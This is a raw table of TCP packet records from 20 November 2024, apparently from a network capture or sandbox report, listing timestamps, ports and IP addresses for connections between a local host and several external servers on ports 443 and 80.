Nov 20, 2024 06:40:09.265346050 CET	443	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:09.265782118 CET	443	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:09.267159939 CET	49706	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:09.267326117 CET	49706	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:09.267368078 CET	443	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:09.293540001 CET	49674	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:09.293560028 CET	49675	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:09.434259892 CET	49673	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:09.831768036 CET	443	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:09.831882000 CET	443	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:09.831981897 CET	49706	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:09.832221031 CET	49706	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:09.832243919 CET	443	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:09.979429007 CET	49707	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:09.979521990 CET	443	49707	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:09.979681015 CET	49707	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:09.979959011 CET	49707	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:09.979995966 CET	443	49707	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:10.440234900 CET	443	49707	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:10.440479994 CET	49707	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:10.441601038 CET	49707	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:10.441656113 CET	443	49707	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:10.442008018 CET	443	49707	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:10.443237066 CET	49707	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:10.443389893 CET	49707	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:10.443447113 CET	443	49707	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:10.443502903 CET	49707	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:10.487413883 CET	443	49707	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:11.084976912 CET	443	49703	23.1.237.91	192.168.2.5
Nov 20, 2024 06:40:11.085129976 CET	49703	443	192.168.2.5	23.1.237.91
Nov 20, 2024 06:40:11.173738003 CET	443	49707	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:11.173861027 CET	443	49707	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:11.173923016 CET	49707	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:11.173975945 CET	49707	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:11.173995972 CET	443	49707	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:11.459642887 CET	49708	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:11.459693909 CET	443	49708	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:11.460040092 CET	49708	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:11.460197926 CET	49708	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:11.460215092 CET	443	49708	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:11.931976080 CET	443	49708	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:11.932075024 CET	49708	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:11.933800936 CET	49708	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:11.933856964 CET	443	49708	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:11.934906960 CET	443	49708	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:11.936099052 CET	49708	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:11.936099052 CET	49708	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:11.936206102 CET	443	49708	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:11.936512947 CET	49708	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:11.936572075 CET	443	49708	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:12.480977058 CET	443	49708	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:12.481245995 CET	443	49708	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:12.481340885 CET	49708	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:12.481441975 CET	49708	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:12.481482983 CET	443	49708	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:12.903179884 CET	49709	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:12.903280973 CET	443	49709	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:12.903402090 CET	49709	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:12.903996944 CET	49709	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:12.904072046 CET	443	49709	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:13.397640944 CET	443	49709	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:13.397753000 CET	49709	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:13.399389982 CET	49709	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:13.399410963 CET	443	49709	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:13.399748087 CET	443	49709	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:13.401011944 CET	49709	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:13.401133060 CET	49709	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:13.401160955 CET	443	49709	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:13.820558071 CET	443	49709	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:13.820682049 CET	443	49709	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:13.820758104 CET	49709	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:13.820897102 CET	49709	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:13.820918083 CET	443	49709	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.394471884 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.394505024 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.394577026 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.394877911 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.394891024 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.855489016 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.855576992 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.858314991 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.858324051 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.858666897 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.870235920 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.871598005 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.871649027 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.871778965 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.871839046 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.871962070 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.872188091 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.872318029 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.872338057 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.872469902 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.872488976 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.872634888 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.872656107 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.872668982 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.872736931 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.872828007 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.872873068 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.873027086 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.873178005 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.873220921 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.873240948 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.882375002 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.882582903 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.882627964 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:14.882659912 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:14.882683039 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:17.750854015 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:17.750967026 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:17.751136065 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:17.751804113 CET	49710	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:17.751821995 CET	443	49710	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:17.763492107 CET	49711	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:17.763576031 CET	443	49711	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:17.763696909 CET	49711	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:17.764074087 CET	49711	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:17.764113903 CET	443	49711	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:18.247216940 CET	443	49711	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:18.247334957 CET	49711	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:18.249310017 CET	49711	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:18.249322891 CET	443	49711	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:18.249663115 CET	443	49711	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:18.251319885 CET	49711	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:18.251363039 CET	49711	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:18.251473904 CET	443	49711	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:18.649051905 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:18.649097919 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:18.649173021 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:18.651947021 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:18.651962042 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:18.674712896 CET	443	49711	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:18.674948931 CET	443	49711	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:18.675024986 CET	49711	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:18.675117970 CET	49711	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:18.675139904 CET	443	49711	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:18.675157070 CET	49711	443	192.168.2.5	188.114.97.3
Nov 20, 2024 06:40:18.675163984 CET	443	49711	188.114.97.3	192.168.2.5
Nov 20, 2024 06:40:18.677124977 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:18.682461977 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:18.682542086 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:18.682708025 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:18.688106060 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.311211109 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.311326981 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.314120054 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.314136028 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.314467907 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.324681997 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.367381096 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.389991045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.390091896 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.390124083 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.390155077 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.390157938 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.390192032 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.390203953 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.390224934 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.390256882 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.390275955 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.390289068 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.390341043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.390357018 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.390377045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.390425920 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.395596981 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.395613909 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.395628929 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.395689011 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.438657045 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.438693047 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.438715935 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.438775063 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.438808918 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.438833952 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.438867092 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.523659945 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.523698092 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.523870945 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.523870945 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.523905039 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.523973942 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.538057089 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.538083076 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.538239002 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.538239002 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.538269997 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.538320065 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.546171904 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.546215057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.546269894 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.547549009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.547585011 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.547617912 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.547641993 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.550967932 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.551019907 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.551024914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.552525997 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.552560091 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.552572966 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.555778027 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.555813074 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.555830956 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.555844069 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.555892944 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.557383060 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.557418108 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.557473898 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.560605049 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.560642004 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.560700893 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.562145948 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.562180042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.562212944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.562232018 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.565452099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.565486908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.565524101 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.568479061 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.568516016 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.568536997 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.568545103 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.568589926 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.601056099 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.601085901 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.601268053 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.601300955 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.601351976 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.603960991 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.603985071 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.604049921 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.604058027 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.604099035 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.607762098 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.607784986 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.607839108 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.607844114 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.607872009 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.607891083 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.610129118 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.610152960 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.610192060 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.610198021 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.610215902 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.611321926 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.655847073 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.655891895 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.655926943 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.655951023 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.655961990 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.656019926 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.656116009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.656148911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.656183004 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.656192064 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.656238079 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.656271935 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.656280994 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.656949043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.656997919 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.657000065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.657032967 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.657066107 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.657078028 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.657100916 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.657145977 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.657819033 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.657869101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.657902956 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.657910109 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.657934904 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.657978058 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.657982111 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.658679008 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.658713102 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.658742905 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.658750057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.658787966 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.658792019 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.658823967 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.658868074 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.659681082 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.659714937 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.659771919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.659802914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.659804106 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.659823895 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.659873962 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.660464048 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.660511017 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.660516024 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.660551071 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.660583019 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.660593033 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.660619974 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.660672903 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.661478043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.661526918 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.661560059 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.661569118 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.661592007 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.661626101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.661636114 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.662331104 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.662364006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.662374020 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.662398100 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.662431002 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.662441969 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.662465096 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.662507057 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.663136959 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.663357019 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:19.663400888 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:19.689002037 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.689034939 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.689112902 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.689146042 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.689167976 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.689192057 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.689903021 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.689927101 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.689977884 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.689986944 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.690010071 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.690025091 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.690794945 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.690817118 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.690880060 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.690888882 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.690932989 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.692471981 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.692493916 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.692553997 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.692560911 CET	443	49712	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:19.692595959 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.692615032 CET	49712	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:19.693128109 CET	443	49712	13.107.246.45	192.168.2.5
